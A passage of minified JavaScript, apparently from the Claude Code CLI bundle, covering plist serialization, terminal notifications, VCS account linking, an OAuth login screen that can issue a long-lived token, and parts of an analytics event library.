1.0//EN",sysid:"http://www.apple.com/DTDs/PropertyList-1.0.dtd"},z=CG2.create("plist");if(z.dec(q.version,q.encoding,q.standalone),z.dtd(Y.pubid,Y.sysid),z.att("version","1.0"),nR6(A,z),!K)K={};return K.pretty=K.pretty!==!1,z.end(K)}function nR6(A,K){var q,Y,z,w=H1K(A);if(w=="Undefined")return;else if(Array.isArray(A)){K=K.ele("array");for(Y=0;Y<A.length;Y++)nR6(A[Y],K)}else if(Buffer.isBuffer(A))K.ele("data").raw(A.toString("base64"));else if(w=="Object"){K=K.ele("dict");for(z in A)if(A.hasOwnProperty(z))K.ele("key").txt(z),nR6(A[z],K)}else if(w=="Number")q=A%1===0?"integer":"real",K.ele(q).txt(A.toString());else if(w=="BigInt")K.ele("integer").txt(A);else if(w=="Date")K.ele("date").txt(LG2(new Date(A)));else if(w=="Boolean")K.ele(A?"true":"false");else if(w=="String")K.ele("string").txt(A);else if(w=="ArrayBuffer")K.ele("data").raw(w1K.fromByteArray(A));else if(A&&A.buffer&&H1K(A.buffer)=="ArrayBuffer")K.ele("data").raw(w1K.fromByteArray(new Uint8Array(A.buffer),K));else if(w==="Null")K.ele("null").txt("")}});var $1K=v((rR6)=>{var O1K=Qe7();Object.keys(O1K).forEach(function(A){rR6[A]=O1K[A]});var X1K=J1K();Object.keys(X1K).forEach(function(A){rR6[A]=X1K[A]})});async function oB(A,K){let Y=M1().preferredNotifChannel;await oR6(A);let z=await hG2(Y,A,K);n("tengu_notification_method_used",{configured_channel:Y,method_used:z,term:m6.terminal})}async function hG2(A,K,q){let Y=K.title||G1K;try{switch(A){case"auto":return bG2(K,q);case"iterm2":return q.notifyITerm2(K),"iterm2";case"iterm2_with_bell":return q.notifyITerm2(K),q.notifyBell(),"iterm2_with_bell";case"kitty":return q.notifyKitty({...K,title:Y,id:Z1K()}),"kitty";case"terminal_bell":return q.notifyBell(),"terminal_bell";case"notifications_disabled":return"disabled";default:return"none"}}catch{return"error"}}async function bG2(A,K){let q=A.title||G1K;switch(m6.terminal){case"Apple_Terminal":{if(await xG2())return K.notifyBell(),"terminal_bell";return"no_method_available"}case"iTerm.app":return K.notifyITerm2(A),"iterm2";case"kitty":return K.notifyKitty({...A,title:q,id:Z1K()}),"kitty";case"ghostty":return K.notifyGhostty({...A,title:q}),"ghostty";default:return"no_method_available"}}function Z1K(){return Math.floor(Math.random()*1e4)}async function xG2(){try{if(m6.terminal!=="Apple_Terminal")return!1;let K=(await R6("osascript",["-e",'tell application "Terminal" to name of current settings of front window'])).stdout.trim();if(!K)return!1;let q=await R6("defaults",["export","com.apple.Terminal","-"]);if(q.code!==0)return!1;let w=_1K.default.parse(q.stdout)?.["Window Settings"]?.[K];if(!w)return!1;return w.Bell===!1}catch(A){return KA(A instanceof Error?A:Error(String(A))),!1}}var _1K,G1K="Claude Code";var OQA=k(()=>{i6();CK();l1();z3();C1();JP();_1K=o($1K(),1)});async function W1K(A,K,q){try{let Y=BH();if(Y.error)return;let z={"Content-Type":"application/json","User-Agent":uH(),...Y.headers},w={vcs_type:"github",vcs_host:K,vcs_username:A,git_user_email:q},H="https://api.anthropic.com/api/claude_code/link_vcs_account";await A8.post(H,w,{headers:z,timeout:5000})}catch(Y){}}var D1K=k(()=>{n3();JG()});async function uG2(){try{let A=await R6("gh",["auth","status","--active","--json","hosts"],{useCwd:!1,timeout:5000});if(A.code!==0||!A.stdout.trim())return null;let q=G6(A.stdout)?.hosts;if(!q||typeof q!=="object")return null;for(let[Y,z]of Object.entries(q)){if(!Array.isArray(z)||z.length===0)continue;let w=z[0];if(w?.login)return{username:w.login,hostname:Y}}return null}catch(A){return null}}async function BG2(){try{let A=await R6("git",["config","--get","user.email"],{useCwd:!1,timeout:5000});if(A.code===0&&A.stdout.trim())return A.stdout.trim();return null}catch(A){return null}}async function aR6(){if(!Dw(!0)&&!b7())return;if(ak())return;if(!0){let z=await JM1();if(z.hasError||!z.vcsAccountLinkingEnabled)return}let[q,Y]=await Promise.all([uG2(),BG2()]);if(q||Y)W1K(q?.username??"",q?.hostname??"",Y??"")}var j1K=k(()=>{CK();D1K();x4();gL6();i6();q6();b1()});function Lt({onDone:A,startingMessage:K,mode:q="login",forceLoginMethod:Y}){let z=J8()||{},w=Y??z.forceLoginMethod,H=z.forceLoginOrgUUID,J=w==="claudeai"?"Login method pre-selected: Subscription Plan (Claude Pro/Max)":w==="console"?"Login method pre-selected: API Usage Billing (Anthropic Console)":null,O=Bx(),[X,$]=X4.useState(()=>{if(q==="setup-token")return{state:"ready_to_start"};if(w==="claudeai"||w==="console")return{state:"ready_to_start"};return{state:"idle"}}),[_,G]=X4.useState(""),[Z,W]=X4.useState(0),[D]=X4.useState(()=>new dFA),[j,M]=X4.useState(()=>{return q==="setup-token"||w==="claudeai"}),[P,f]=X4.useState(!1),[N,T]=X4.useState(!1),C=f8().columns-M1K.length-1;X4.useEffect(()=>{if(w==="claudeai")n("tengu_oauth_claudeai_forced",{});else if(w==="console")n("tengu_oauth_console_forced",{})},[w]),X4.useEffect(()=>{if(X.state==="about_to_retry")setTimeout(()=>{$(X.nextState)},1000)},[X]),J6("confirm:yes",()=>{n("tengu_oauth_success",{loginWithClaudeAi:j}),A()},{context:"Confirmation",isActive:X.state==="success"&&q!=="setup-token"}),J6("confirm:yes",()=>{$({state:"idle"})},{context:"Confirmation",isActive:X.state==="platform_setup"}),J6("confirm:yes",()=>{if(X.state==="error"&&X.toRetry)G(""),$({state:"about_to_retry",nextState:X.toRetry})},{context:"Confirmation",isActive:X.state==="error"&&!!X.toRetry}),X4.useEffect(()=>{if(_==="c"&&X.state==="waiting_for_login"&&P&&!N)Oj(X.url).then((b)=>{if(b)T(!0),setTimeout(()=>T(!1),2000)}),G("")},[_,X,P,N]);async function R(b,F){try{let[Q,u]=b.split("#");if(!Q||!u){$({state:"error",message:"Invalid code. Please make sure the full code was copied",toRetry:{state:"waiting_for_login",url:F}});return}n("tengu_oauth_manual_entry",{}),D.handleManualAuthCodeInput({authorizationCode:Q,state:u})}catch(Q){KA(Q instanceof Error?Q:Error(String(Q))),$({state:"error",message:Q.message,toRetry:{state:"waiting_for_login",url:F}})}}let x=X4.useCallback(async()=>{try{n("tengu_oauth_flow_start",{loginWithClaudeAi:j});let b=await D.startOAuthFlow(async(F)=>{$({state:"waiting_for_login",url:F}),setTimeout(()=>f(!0),3000)},{loginWithClaudeAi:j,inferenceOnly:q==="setup-token",expiresIn:q==="setup-token"?31536000:void 0,orgUUID:H}).catch((F)=>{let Q=F.message.includes("Token exchange failed");throw $({state:"error",message:Q?"Failed to exchange authorization code for access token. Please try again.":F.message,toRetry:q==="setup-token"?{state:"ready_to_start"}:{state:"idle"}}),n("tengu_oauth_token_exchange_error",{error:F.message}),F});if(q==="setup-token")$({state:"success",token:b.accessToken});else{let F=ajA(b);if(F.warning)n("tengu_oauth_storage_warning",{warning:F.warning});if(await _y4(b.accessToken).catch((Q)=>{throw $({state:"error",message:"Failed to fetch user roles: "+Q.message,toRetry:{state:"idle"}}),n("tengu_oauth_user_roles_error",{error:Q.message}),Q}),pQ(b.scopes))await pH4(),DM1(),$({state:"success"}),oB({message:"Claude Code login successful",notificationType:"auth_success"},O),aR6();else if($({state:"creating_api_key"}),await Gy4(b.accessToken).catch((u)=>{throw $({state:"error",message:"Failed to create API key: "+u.message,toRetry:{state:"idle"}}),n("tengu_oauth_api_key_error",{error:u.message}),u}))DM1(),$({state:"success"}),oB({message:"Claude Code login successful",notificationType:"auth_success"},O),aR6();else $({state:"error",message:"Unable to create API key. The server accepted the request but didn't return a key.",toRetry:{state:"idle"}}),n("tengu_oauth_api_key_error",{error:"server_returned_no_key"})}}catch(b){let F=b.message;n("tengu_oauth_error",{error:F})}},[D,f,j,q,H]),y=X4.useRef(!1);X4.useEffect(()=>{if(X.state==="ready_to_start"&&!y.current)y.current=!0,process.nextTick(()=>{x(),y.current=!1})},[X.state,x]),X4.useEffect(()=>{if(q==="setup-token"&&X.state==="success"){let b=setTimeout(async()=>{n("tengu_oauth_success",{loginWithClaudeAi:j}),A()},500);return()=>clearTimeout(b)}},[q,X,j,A]),X4.useEffect(()=>{return()=>{D.cleanup()}},[D]);function B(){switch(X.state){case"idle":return X4.default.createElement(S,{flexDirection:"column",gap:1,marginTop:1},X4.default.createElement(V,{bold:!0},K?K:"Claude Code can be used with your Claude subscription or billed based on API usage through your Console account."),X4.default.createElement(V,null,"Select login method:"),X4.default.createElement(S,null,X4.default.createElement(E6,{options:[{label:X4.default.createElement(V,null,"Claude account with subscription ·"," ",X4.default.createElement(V,{dimColor:!0},"Pro, Max, Team, or Enterprise"),` `),value:"claudeai"},{label:X4.default.createElement(V,null,"Anthropic Console account ·"," ",X4.default.createElement(V,{dimColor:!0},"API usage billing"),` `),value:"console"},{label:X4.default.createElement(V,null,"3rd-party platform ·"," ",X4.default.createElement(V,{dimColor:!0},"Amazon Bedrock, Microsoft Foundry, or Vertex AI"),` `),value:"platform"}],onCancel:()=>{},onChange:(b)=>{if(b==="platform")n("tengu_oauth_platform_selected",{}),$({state:"platform_setup"});else if($({state:"ready_to_start"}),b==="claudeai")n("tengu_oauth_claudeai_selected",{}),M(!0);else n("tengu_oauth_console_selected",{}),M(!1)}})));case"platform_setup":return X4.default.createElement(S,{flexDirection:"column",gap:1,marginTop:1},X4.default.createElement(V,{bold:!0},"Using 3rd-party platforms"),X4.default.createElement(S,{flexDirection:"column",gap:1},X4.default.createElement(V,null,"Claude Code supports Amazon Bedrock, Microsoft Foundry, and Vertex AI. Set the required environment variables, then restart Claude Code."),X4.default.createElement(V,null,"If you are part of an enterprise organization, contact your administrator for setup instructions."),X4.default.createElement(S,{flexDirection:"column",marginTop:1},X4.default.createElement(V,{bold:!0},"Documentation:"),X4.default.createElement(V,null,"· Amazon Bedrock:"," ",X4.default.createElement(X7,{url:"https://code.claude.com/docs/en/amazon-bedrock"},"https://code.claude.com/docs/en/amazon-bedrock")),X4.default.createElement(V,null,"· Microsoft Foundry:"," ",X4.default.createElement(X7,{url:"https://code.claude.com/docs/en/microsoft-foundry"},"https://code.claude.com/docs/en/microsoft-foundry")),X4.default.createElement(V,null,"· Vertex AI:"," ",X4.default.createElement(X7,{url:"https://code.claude.com/docs/en/google-vertex-ai"},"https://code.claude.com/docs/en/google-vertex-ai"))),X4.default.createElement(S,{marginTop:1},X4.default.createElement(V,{dimColor:!0},"Press ",X4.default.createElement(V,{bold:!0},"Enter")," to go back to login options."))));case"waiting_for_login":return X4.default.createElement(S,{flexDirection:"column",gap:1},J&&X4.default.createElement(S,null,X4.default.createElement(V,{dimColor:!0},J)),!P&&X4.default.createElement(S,null,X4.default.createElement(F7,null),X4.default.createElement(V,null,"Opening browser to sign in…")),P&&X4.default.createElement(S,null,X4.default.createElement(V,null,M1K),X4.default.createElement(dq,{value:_,onChange:G,onSubmit:(b)=>R(b,X.url),cursorOffset:Z,onChangeCursorOffset:W,columns:C})));case"creating_api_key":return X4.default.createElement(S,{flexDirection:"column",gap:1},X4.default.createElement(S,null,X4.default.createElement(F7,null),X4.default.createElement(V,null,"Creating API key for Claude Code…")));case"about_to_retry":return X4.default.createElement(S,{flexDirection:"column",gap:1},X4.default.createElement(V,{color:"permission"},"Retrying…"));case"success":return X4.default.createElement(S,{flexDirection:"column"},q==="setup-token"&&X.token?null:X4.default.createElement(X4.default.Fragment,null,$5()?.emailAddress?X4.default.createElement(V,{dimColor:!0},"Logged in as"," ",X4.default.createElement(V,null,$5()?.emailAddress)):null,X4.default.createElement(V,{color:"success"},"Login successful. Press ",X4.default.createElement(V,{bold:!0},"Enter")," to continue…")));case"error":return X4.default.createElement(S,{flexDirection:"column",gap:1},X4.default.createElement(V,{color:"error"},"OAuth error: ",X.message),X.toRetry&&X4.default.createElement(S,{marginTop:1},X4.default.createElement(V,{color:"permission"},"Press ",X4.default.createElement(V,{bold:!0},"Enter")," to retry.")));default:return null}}return X4.default.createElement(S,{flexDirection:"column",gap:1},X.state==="waiting_for_login"&&P&&X4.default.createElement(S,{flexDirection:"column",key:"urlToCopy",gap:1,paddingBottom:1},X4.default.createElement(S,{paddingX:1},X4.default.createElement(V,{dimColor:!0},"Browser didn't open? Use the url below to sign in"," "),N?X4.default.createElement(V,{color:"success"},"(Copied!)"):X4.default.createElement(V,{dimColor:!0},X4.default.createElement(M6,{shortcut:"c",action:"copy",parens:!0}))),X4.default.createElement(X7,{url:X.url},X4.default.createElement(V,{dimColor:!0},X.url))),q==="setup-token"&&X.state==="success"&&X.token&&X4.default.createElement(S,{key:"tokenOutput",flexDirection:"column",gap:1,paddingTop:1},X4.default.createElement(V,{color:"success"},"✓ Long-lived authentication token created successfully!"),X4.default.createElement(S,{flexDirection:"column",gap:1},X4.default.createElement(V,null,"Your OAuth token (valid for 1 year):"),X4.default.createElement(V,{color:"warning"},X.token),X4.default.createElement(V,{dimColor:!0},"Store this token securely. You won't be able to see it again."),X4.default.createElement(V,{dimColor:!0},"Use this token by setting: export CLAUDE_CODE_OAUTH_TOKEN=<token>"))),X4.default.createElement(S,{paddingLeft:1,flexDirection:"column",gap:1},B()))}var X4,M1K="Paste code here if prompted > ";var XQA=k(()=>{mA();C8();np();nK();nH();_R6();LT();x4();l1();uK();C1();i2();OQA();T4A();L3();jM1();I8();K7();j1K();X4=o($A(),1)});function Rt(){let A=F1((q)=>q.mainLoopModel),K=F1((q)=>q.mainLoopModelForSession);return P1K.useMemo(()=>{return cz(K??A??uq1())},[K,A])}var P1K;var $QA=k(()=>{K7();A4();P1K=o($A(),1)});var f1K=v((V1K)=>{Object.defineProperty(V1K,"__esModule",{value:!0})});var T1K=v((N1K)=>{Object.defineProperty(N1K,"__esModule",{value:!0})});var sR6=v((v1K)=>{Object.defineProperty(v1K,"__esModule",{value:!0})});var tR6=v((gG2)=>{function mG2(A,K,q){K.split&&(K=K.split("."));var Y=0,z=K.length,w=A,H,J;while(Y<z){if(J=""+K[Y++],J==="__proto__"||J==="constructor"||J==="prototype")break;w=w[J]=Y===z?q:typeof(H=w[J])===typeof K?H:K[Y]*0!==0||!!~(""+K[Y]).indexOf(".")?{}:[]}}gG2.dset=mG2});var C1K=v((E1K)=>{Object.defineProperty(E1K,"__esModule",{value:!0});E1K.pickBy=void 0;var QG2=function(A,K){return Object.keys(A).filter(function(q){return K(q,A[q])}).reduce(function(q,Y){return q[Y]=A[Y],q},{})};E1K.pickBy=QG2});var eR6=v((L1K)=>{Object.defineProperty(L1K,"__esModule",{value:!0});L1K.ValidationError=void 0;var UG2=Uz(),pG2=function(A){UG2.__extends(K,A);function K(q,Y){var z=A.call(this,"".concat(q," ").concat(Y))||this;return z.field=q,z}return K}(Error);L1K.ValidationError=pG2});var Ay6=v((y1K)=>{Object.defineProperty(y1K,"__esModule",{value:!0});y1K.isPlainObject=y1K.exists=y1K.isFunction=y1K.isNumber=y1K.isString=void 0;function dG2(A){return typeof A==="string"}y1K.isString=dG2;function cG2(A){return typeof A==="number"}y1K.isNumber=cG2;function lG2(A){return typeof A==="function"}y1K.isFunction=lG2;function iG2(A){return A!==void 0&&A!==null}y1K.exists=iG2;function nG2(A){return Object.prototype.toString.call(A).slice(8,-1).toLowerCase()==="object"}y1K.isPlainObject=nG2});var Yy6=v((g1K)=>{Object.defineProperty(g1K,"__esModule",{value:!0});g1K.validateEvent=g1K.assertTraits=g1K.assertTrackEventProperties=g1K.assertTrackEventName=g1K.assertEventType=g1K.assertEventExists=g1K.assertUserIdentity=void 0;var yt=eR6(),M3A=Ay6(),Ky6="is not a string",qy6="is not an object",S1K="is nil";function h1K(A){var K=".userId/anonymousId/previousId/groupId",q=function(z){var w,H,J;return(J=(H=(w=z.userId)!==null&&w!==void 0?w:z.anonymousId)!==null&&H!==void 0?H:z.groupId)!==null&&J!==void 0?J:z.previousId},Y=q(A);if(!(0,M3A.exists)(Y))throw new yt.ValidationError(K,S1K);else if(!(0,M3A.isString)(Y))throw new yt.ValidationError(K,Ky6)}g1K.assertUserIdentity=h1K;function b1K(A){if(!(0,M3A.exists)(A))throw new yt.ValidationError("Event",S1K);if(typeof A!=="object")throw new yt.ValidationError("Event",qy6)}g1K.assertEventExists=b1K;function x1K(A){if(!(0,M3A.isString)(A.type))throw new yt.ValidationError(".type",Ky6)}g1K.assertEventType=x1K;function u1K(A){if(!(0,M3A.isString)(A.event))throw new yt.ValidationError(".event",Ky6)}g1K.assertTrackEventName=u1K;function B1K(A){if(!(0,M3A.isPlainObject)(A.properties))throw new yt.ValidationError(".properties",qy6)}g1K.assertTrackEventProperties=B1K;function m1K(A){if(!(0,M3A.isPlainObject)(A.traits))throw new yt.ValidationError(".traits",qy6)}g1K.assertTraits=m1K;function tG2(A){if(b1K(A),x1K(A),A.type==="track")u1K(A),B1K(A);if(["group","identify"].includes(A.type))m1K(A);h1K(A)}g1K.validateEvent=tG2});var p1K=v((zy6)=>{Object.defineProperty(zy6,"__esModule",{value:!0});zy6.EventFactory=void 0;var f9=Uz();f9.__exportStar(sR6(),zy6);var Q1K=tR6(),wZ2=C1K(),HZ2=Yy6(),JZ2=function(){function A(K){this.user=K.user,this.createMessageId=K.createMessageId}return A.prototype.track=function(K,q,Y,z){return this.normalize(f9.__assign(f9.__assign({},this.baseEvent()),{event:K,type:"track",properties:q!==null&&q!==void 0?q:{},options:f9.__assign({},Y),integrations:f9.__assign({},z)}))},A.prototype.page=function(K,q,Y,z,w){var H,J={type:"page",properties:f9.__assign({},Y),options:f9.__assign({},z),integrations:f9.__assign({},w)};if(K!==null)J.category=K,J.properties=(H=J.properties)!==null&&H!==void 0?H:{},J.properties.category=K;if(q!==null)J.name=q;return this.normalize(f9.__assign(f9.__assign({},this.baseEvent()),J))},A.prototype.screen=function(K,q,Y,z,w){var H={type:"screen",properties:f9.__assign({},Y),options:f9.__assign({},z),integrations:f9.__assign({},w)};if(K!==null)H.category=K;if(q!==null)H.name=q;return this.normalize(f9.__assign(f9.__assign({},this.baseEvent()),H))},A.prototype.identify=function(K,q,Y,z){return this.normalize(f9.__assign(f9.__assign({},this.baseEvent()),{type:"identify",userId:K,traits:q!==null&&q!==void 0?q:{},options:f9.__assign({},Y),integrations:z}))},A.prototype.group=function(K,q,Y,z){return this.normalize(f9.__assign(f9.__assign({},this.baseEvent()),{type:"group",traits:q!==null&&q!==void 0?q:{},options:f9.__assign({},Y),integrations:f9.__assign({},z),groupId:K}))},A.prototype.alias=function(K,q,Y,z){var w={userId:K,type:"alias",options:f9.__assign({},Y),integrations:f9.__assign({},z)};if(q!==null)w.previousId=q;if(K===void 0)return this.normalize(f9.__assign(f9.__assign({},w),this.baseEvent()));return this.normalize(f9.__assign(f9.__assign({},this.baseEvent()),w))},A.prototype.baseEvent=function(){var K={integrations:{},options:{}};if(!this.user)return K;var q=this.user;if(q.id())K.userId=q.id();if(q.anonymousId())K.anonymousId=q.anonymousId();return K},A.prototype.context=function(K){var q,Y=["userId","anonymousId","timestamp"];delete K.integrations;var z=Object.keys(K),w=(q=K.context)!==null&&q!==void 0?q:{},H={};return z.forEach(function(J){if(J==="context")return;if(Y.includes(J))(0,Q1K.dset)(H,J,K[J]);else(0,Q1K.dset)(w,J,K[J])}),[w,H]},A.prototype.normalize=function(K){var q,Y,z=Object.keys((q=K.integrations)!==null&&q!==void 0?q:{}).reduce(function(Z,W){var D,j;return f9.__assign(f9.__assign({},Z),(D={},D[W]=Boolean((j=K.integrations)===null||j===void 0?void 0:j[W]),D))},{});K.options=(0,wZ2.pickBy)(K.options||{},function(Z,W){return W!==void 0});var w=f9.__assign(f9.__assign({},z),(Y=K.options)===null||Y===void 0?void 0:Y.integrations),H=K.options?this.context(K.options):[],J=H[0],O=H[1],X=K.options,$=f9.__rest(K,["options"]),_=f9.__assign(f9.__assign(f9.__assign({timestamp:new Date},$),{integrations:w,context:J}),O),G=f9.__assign(f9.__assign({},_),{messageId:this.createMessageId()});return(0,HZ2.validateEvent)(G),G},A}();zy6.EventFactory=JZ2});var wy6=v((l1K)=>{Object.defineProperty(l1K,"__esModule",{value:!0});l1K.invokeCallback=l1K.sleep=l1K.pTimeout=void 0;function d1K(A,K){return new Promise(function(q,Y){var z=setTimeout(function(){Y(Error("Promise timed out"))},K);A.then(function(w){return clearTimeout(z),q(w)}).catch(Y)})}l1K.pTimeout=d1K;function c1K(A){return new Promise(function(K){return setTimeout(K,A)})}l1K.sleep=c1K;function OZ2(A,K,q){var Y=function(){try{return Promise.resolve(K(A))}catch(z){return Promise.reject(z)}};return c1K(q).then(function(){return d1K(Y(),1000)}).catch(function(z){A===null||A===void 0||A.log("warn","Callback Error",{error:z}),A===null||A===void 0||A.stats.increment("callback_error")}).then(function(){return A})}l1K.invokeCallback=OZ2});var o1K=v((n1K)=>{Object.defineProperty(n1K,"__esModule",{value:!0});n1K.createDeferred=void 0;var _Z2=function(){var A,K,q=new Promise(function(Y,z){A=Y,K=z});return{resolve:A,reject:K,promise:q}};n1K.createDeferred=_Z2});var a1K=v((Hy6)=>{Object.defineProperty(Hy6,"__esModule",{value:!0});var GZ2=Uz();GZ2.__exportStar(o1K(),Hy6)});var e1K=v((s1K)=>{Object.defineProperty(s1K,"__esModule",{value:!0});s1K.Emitter=void 0;var ZZ2=function(){function A(K){var q;this.callbacks={},this.warned=!1,this.maxListeners=(q=K===null||K===void 0?void 0:K.maxListeners)!==null&&q!==void 0?q:10}return A.prototype.warnIfPossibleMemoryLeak=function(K){if(this.warned)return;if(this.maxListeners&&this.callbacks[K].length>this.maxListeners)console.warn("Event Emitter: Possible memory leak detected; ".concat(String(K)," has exceeded ").concat(this.maxListeners," listeners.")),this.warned=!0},A.prototype.on=function(K,q){if(!this.callbacks[K])this.callbacks[K]=[q];else this.callbacks[K].push(q),this.warnIfPossibleMemoryLeak(K);return this},A.prototype.once=function(K,q){var Y=this,z=function(){var w=[];for(var H=0;H<arguments.length;H++)w[H]=arguments[H];Y.off(K,z),q.apply(Y,w)};return this.on(K,z),this},A.prototype.off=function(K,q){var Y,z=(Y=this.callbacks[K])!==null&&Y!==void 0?Y:[],w=z.filter(function(H){return H!==q});return this.callbacks[K]=w,this},A.prototype.emit=function(K){var q=this,Y,z=[];for(var w=1;w<arguments.length;w++)z[w-1]=arguments[w];var H=(Y=this.callbacks[K])!==null&&Y!==void 0?Y:[];return H.forEach(function(J){J.apply(q,z)}),this},A}();s1K.Emitter=ZZ2});var A6K=v((Jy6)=>{Object.defineProperty(Jy6,"__esModule",{value:!0});var WZ2=Uz();WZ2.__exportStar(e1K(),Jy6)});var sjA=v((iM1)=>{Object.defineProperty(iM1,"__esModule",{value:!0});var K6K=Uz();K6K.__exportStar(a1K(),iM1);K6K.__exportStar(A6K(),iM1)});var Oy6=v((q6K)=>{Object.defineProperty(q6K,"__esModule",{value:!0});q6K.backoff=void 0;function DZ2(A){var K=Math.random()+1,q=A.minTimeout,Y=q===void 0?500:q,z=A.factor,w=z===void 0?2:z,H=A.attempt,J=A.maxTimeout,O=J===void 0?1/0:J;return Math.min(K*Y*Math.pow(w,H),O)}q6K.backoff=DZ2});var Xy6=v((z6K)=>{Object.defineProperty(z6K,"__esModule",{value:!0});z6K.PriorityQueue=z6K.ON_REMOVE_FROM_FUTURE=void 0;var jZ2=Uz(),MZ2=sjA(),PZ2=Oy6();z6K.ON_REMOVE_FROM_FUTURE="onRemoveFromFuture";var VZ2=function(A){jZ2.__extends(K,A);function K(q,Y,z){var w=A.call(this)||this;return w.future=[],w.maxAttempts=q,w.queue=Y,w.seen=z!==null&&z!==void 0?z:{},w}return K.prototype.push=function(){var q=this,Y=[];for(var z=0;z<arguments.length;z++)Y[z]=arguments[z];var w=Y.map(function(H){var J=q.updateAttempts(H);if(J>q.maxAttempts||q.includes(H))return!1;return q.queue.push(H),!0});return this.queue=this.queue.sort(function(H,J){return q.getAttempts(H)-q.getAttempts(J)}),w},K.prototype.pushWithBackoff=function(q){var Y=this;if(this.getAttempts(q)===0)return this.push(q)[0];var z=this.updateAttempts(q);if(z>this.maxAttempts||this.includes(q))return!1;var w=(0,PZ2.backoff)({attempt:z-1});return setTimeout(function(){Y.queue.push(q),Y.future=Y.future.filter(function(H){return H.id!==q.id}),Y.emit(z6K.ON_REMOVE_FROM_FUTURE)},w),this.future.push(q),!0},K.prototype.getAttempts=function(q){var Y;return(Y=this.seen[q.id])!==null&&Y!==void 0?Y:0},K.prototype.updateAttempts=function(q){return this.seen[q.id]=this.getAttempts(q)+1,this.getAttempts(q)},K.prototype.includes=function(q){return this.queue.includes(q)||this.future.includes(q)||Boolean(this.queue.find(function(Y){return Y.id===q.id}))||Boolean(this.future.find(function(Y){return Y.id===q.id}))},K.prototype.pop=function(){return this.queue.shift()},Object.defineProperty(K.prototype,"length",{get:function(){return this.queue.length},enumerable:!1,configurable:!0}),Object.defineProperty(K.prototype,"todo",{get:function(){return this.queue.length+this.future.length},enumerable:!1,configurable:!0}),K}(MZ2.Emitter);z6K.PriorityQueue=VZ2});var $y6=v((NZ2)=>{var P3A=256,rM1=[],nM1;while(P3A--)rM1[P3A]=(P3A+256).toString(16).substring(1);function fZ2(){var A=0,K,q="";if(!nM1||P3A+16>256){nM1=Array(A=256);while(A--)nM1[A]=256*Math.random()|0;A=P3A=0}for(;A<16;A++){if(K=nM1[P3A+A],A==6)q+=rM1[K&15|64];else if(A==8)q+=rM1[K&63|128];else q+=rM1[K];if(A&1&&A>1&&A<11)q+="-"}return P3A++,q}NZ2.v4=fZ2});var _y6=v((J6K)=>{Object.defineProperty(J6K,"__esModule",{value:!0});J6K.CoreLogger=void 0;var oM1=Uz(),vZ2=function(){function A(){this._logs=[]}return A.prototype.log=function(K,q,Y){var z=new Date;this._logs.push({level:K,message:q,time:z,extras:Y})},Object.defineProperty(A.prototype,"logs",{get:function(){return this._logs},enumerable:!1,configurable:!0}),A.prototype.flush=function(){if(this.logs.length>1){var K=this._logs.reduce(function(q,Y){var z,w,H,J=oM1.__assign(oM1.__assign({},Y),{json:JSON.stringify(Y.extras,null," "),extras:Y.extras});delete J.time;var O=(H=(w=Y.time)===null||w===void 0?void 0:w.toISOString())!==null&&H!==void 0?H:"";if(q[O])O="".concat(O,"-").concat(Math.random());return oM1.__assign(oM1.__assign({},q),(z={},z[O]=J,z))},{});if(console.table)console.table(K);else console.log(K)}else this.logs.forEach(function(q){var{level:Y,message:z,extras:w}=q;if(Y==="info"||Y==="debug")console.log(z,w!==null&&w!==void 0?w:"");else console[Y](z,w!==null&&w!==void 0?w:"")});this._logs=[]},A}();J6K.CoreLogger=vZ2});var Zy6=v(($6K)=>{Object.defineProperty($6K,"__esModule",{value:!0});$6K.NullStats=$6K.CoreStats=void 0;var Gy6=Uz(),EZ2=function(A){var K={gauge:"g",counter:"c"};return K[A]},X6K=function(){function A(){this.metrics=[]}return A.prototype.increment=function(K,q,Y){if(q===void 0)q=1;this.metrics.push({metric:K,value:q,tags:Y!==null&&Y!==void 0?Y:[],type:"counter",timestamp:Date.now()})},A.prototype.gauge=function(K,q,Y){this.metrics.push({metric:K,value:q,tags:Y!==null&&Y!==void 0?Y:[],type:"gauge",timestamp:Date.now()})},A.prototype.flush=function(){var K=this.metrics.map(function(q){return Gy6.__assign(Gy6.__assign({},q),{tags:q.tags.join(",")})});if(console.table)console.table(K);else console.log(K);this.metrics=[]},A.prototype.serialize=function(){return this.metrics.map(function(K){return{m:K.metric,v:K.value,t:K.tags,k:EZ2(K.type),e:K.timestamp}})},A}();$6K.CoreStats=X6K;var kZ2=function(A){Gy6.__extends(K,A);function K(){return A!==null&&A.apply(this,arguments)||this}return K.prototype.gauge=function(){var q=[];for(var Y=0;Y<arguments.length;Y++)q[Y]=arguments[Y]},K.prototype.increment=function(){var q=[];for(var Y=0;Y<arguments.length;Y++)q[Y]=arguments[Y]},K.prototype.flush=function(){var q=[];for(var Y=0;Y<arguments.length;Y++)q[Y]=arguments[Y]},K.prototype.serialize=function(){var q=[];for(var Y=0;Y<arguments.length;Y++)q[Y]=arguments[Y];return[]},K}(X6K);$6K.NullStats=kZ2});var aM1=v((Z6K)=>{Object.defineProperty(Z6K,"__esModule",{value:!0});Z6K.CoreContext=Z6K.ContextCancelation=void 0;var LZ2=$y6(),RZ2=tR6(),yZ2=_y6(),IZ2=Zy6(),G6K=function(){function A(K){var q,Y,z;this.retry=(q=K.retry)!==null&&q!==void 0?q:!0,this.type=(Y=K.type)!==null&&Y!==void 0?Y:"plugin Error",this.reason=(z=K.reason)!==null&&z!==void 0?z:""}return A}();Z6K.ContextCancelation=G6K;var SZ2=function(){function A(K,q,Y,z){if(q===void 0)q=(0,LZ2.v4)();if(Y===void 0)Y=new IZ2.NullStats;if(z===void 0)z=new yZ2.CoreLogger;this.attempts=0,this.event=K,this._id=q,this.logger=z,this.stats=Y}return A.system=function(){},A.prototype.isSame=function(K){return K.id===this.id},A.prototype.cancel=function(K){if(K)throw K;throw new G6K({reason:"Context Cancel"})},A.prototype.log=function(K,q,Y){this.logger.log(K,q,Y)},Object.defineProperty(A.prototype,"id",{get:function(){return this._id},enumerable:!1,configurable:!0}),A.prototype.updateEvent=function(K,q){var Y;if(K.split(".")[0]==="integrations"){var z=K.split(".")[1];if(((Y=this.event.integrations)===null||Y===void 0?void 0:Y[z])===!1)return this.event}return(0,RZ2.dset)(this.event,K,q),this.event},A.prototype.failedDelivery=function(){return this._failedDelivery},A.prototype.setFailedDelivery=function(K){this._failedDelivery=K},A.prototype.logs=function(){return this.logger.logs},A.prototype.flush=function(){this.logger.flush(),this.stats.flush()},A.prototype.toJSON=function(){return{id:this._id,event:this.event,logs:this.logger.logs,metrics:this.stats.metrics}},A}();Z6K.CoreContext=SZ2});var 